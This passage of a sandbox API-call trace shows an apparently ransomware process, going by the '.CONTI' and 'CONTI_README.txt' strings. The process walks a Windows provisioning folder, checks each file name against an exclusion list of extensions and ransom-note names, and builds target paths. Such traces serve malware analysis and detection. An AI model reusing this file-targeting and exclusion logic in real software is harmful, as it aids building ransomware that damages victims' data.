	[0109.570] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911edd2d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911edd2d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911edd2d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="500__C~1.PRO")) returned 1
	[0109.570] lstrcmpiW (lpString1="500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.570] lstrcmpiW (lpString1="500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.570] StrStrIW (lpFirst="500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.570] StrStrIW (lpFirst="500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.570] StrStrIW (lpFirst="500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.570] StrStrIW (lpFirst="500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.570] StrStrIW (lpFirst="500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.570] StrStrIW (lpFirst="500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.570] StrStrIW (lpFirst="500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.570] StrStrIW (lpFirst="500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.570] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.570] lstrlenW (lpString="500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml") returned 93
	[0109.570] GetProcessHeap () returned 0x1720000
	[0109.570] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x170) returned 0x6575930
	[0109.570] lstrcpyW (in: lpString1=0x6575930, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.570] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.570] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\500__Connections_Cellular_T-Mobile USA_ Roam Mobility (United States)_i0$(__MVID)@WAP.provxml"
	[0109.570] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911edd2d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911edd2d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911edd2d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="501__C~1.PRO")) returned 1
	[0109.570] lstrcmpiW (lpString1="501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.570] lstrcmpiW (lpString1="501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.570] StrStrIW (lpFirst="501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.570] StrStrIW (lpFirst="501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.570] StrStrIW (lpFirst="501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.570] StrStrIW (lpFirst="501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.571] StrStrIW (lpFirst="501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.571] StrStrIW (lpFirst="501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.571] StrStrIW (lpFirst="501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.571] StrStrIW (lpFirst="501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.571] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.571] lstrlenW (lpString="501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml") returned 88
	[0109.571] GetProcessHeap () returned 0x1720000
	[0109.571] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x166) returned 0x17de700
	[0109.571] lstrcpyW (in: lpString1=0x17de700, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.571] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.571] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\501__Connections_Cellular_T-Mobile USA_ Tracfone (United States)_i0$(__MVID)@WAP.provxml"
	[0109.571] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91213f95, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91213f95, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91213f95, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="502__C~1.PRO")) returned 1
	[0109.571] lstrcmpiW (lpString1="502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.571] lstrcmpiW (lpString1="502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.571] StrStrIW (lpFirst="502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.571] StrStrIW (lpFirst="502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.571] StrStrIW (lpFirst="502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.571] StrStrIW (lpFirst="502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.571] StrStrIW (lpFirst="502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.571] StrStrIW (lpFirst="502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.571] StrStrIW (lpFirst="502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.571] StrStrIW (lpFirst="502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.571] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.571] lstrlenW (lpString="502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml") returned 87
	[0109.571] GetProcessHeap () returned 0x1720000
	[0109.571] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x164) returned 0x17dee58
	[0109.571] lstrcpyW (in: lpString1=0x17dee58, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.571] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.571] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml"
	[0109.571] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91213f95, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91213f95, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91213f95, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="503__C~1.PRO")) returned 1
	[0109.571] lstrcmpiW (lpString1="503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.571] lstrcmpiW (lpString1="503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.571] StrStrIW (lpFirst="503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.572] StrStrIW (lpFirst="503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.572] StrStrIW (lpFirst="503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.572] StrStrIW (lpFirst="503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.572] StrStrIW (lpFirst="503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.572] StrStrIW (lpFirst="503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.572] StrStrIW (lpFirst="503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.572] StrStrIW (lpFirst="503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.572] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.572] lstrlenW (lpString="503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml") returned 86
	[0109.572] GetProcessHeap () returned 0x1720000
	[0109.572] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x162) returned 0x17df148
	[0109.572] lstrcpyW (in: lpString1=0x17df148, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.572] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.572] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\503__Connections_Cellular_T-Mobile USA_ Wyless (United States)_i0$(__MVID)@WAP.provxml"
	[0109.572] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9123a200, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9123a200, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9123a200, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="504__C~1.PRO")) returned 1
	[0109.572] lstrcmpiW (lpString1="504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.572] lstrcmpiW (lpString1="504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.572] StrStrIW (lpFirst="504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.572] StrStrIW (lpFirst="504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.572] StrStrIW (lpFirst="504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.572] StrStrIW (lpFirst="504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.572] StrStrIW (lpFirst="504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.572] StrStrIW (lpFirst="504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.572] StrStrIW (lpFirst="504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.572] StrStrIW (lpFirst="504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.572] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.572] lstrlenW (lpString="504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml") returned 87
	[0109.572] GetProcessHeap () returned 0x1720000
	[0109.572] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x164) returned 0x1816170
	[0109.573] lstrcpyW (in: lpString1=0x1816170, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.573] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.573] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml"
	[0109.573] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9123a200, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9123a200, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9123a200, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml", cAlternateFileName="505__C~1.PRO")) returned 1
	[0109.573] lstrcmpiW (lpString1="505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.573] lstrcmpiW (lpString1="505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.573] StrStrIW (lpFirst="505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.573] StrStrIW (lpFirst="505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.573] StrStrIW (lpFirst="505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.573] StrStrIW (lpFirst="505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.573] StrStrIW (lpFirst="505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.573] StrStrIW (lpFirst="505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.573] StrStrIW (lpFirst="505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.573] StrStrIW (lpFirst="505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.573] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.573] lstrlenW (lpString="505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml") returned 79
	[0109.573] GetProcessHeap () returned 0x1720000
	[0109.573] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x154) returned 0x1815b20
	[0109.573] lstrcpyW (in: lpString1=0x1815b20, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.573] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.573] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\505__Connections_Cellular_Verizon (United States) Admin_i1$(__MVID)@WAP.provxml"
	[0109.573] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9123a200, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9123a200, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9123a200, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml", cAlternateFileName="506__C~1.PRO")) returned 1
	[0109.573] lstrcmpiW (lpString1="506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.573] lstrcmpiW (lpString1="506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.573] StrStrIW (lpFirst="506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.573] StrStrIW (lpFirst="506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.573] StrStrIW (lpFirst="506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.573] StrStrIW (lpFirst="506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.573] StrStrIW (lpFirst="506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.573] StrStrIW (lpFirst="506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.573] StrStrIW (lpFirst="506__Connections_Cellular_Verizon (United States) App_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
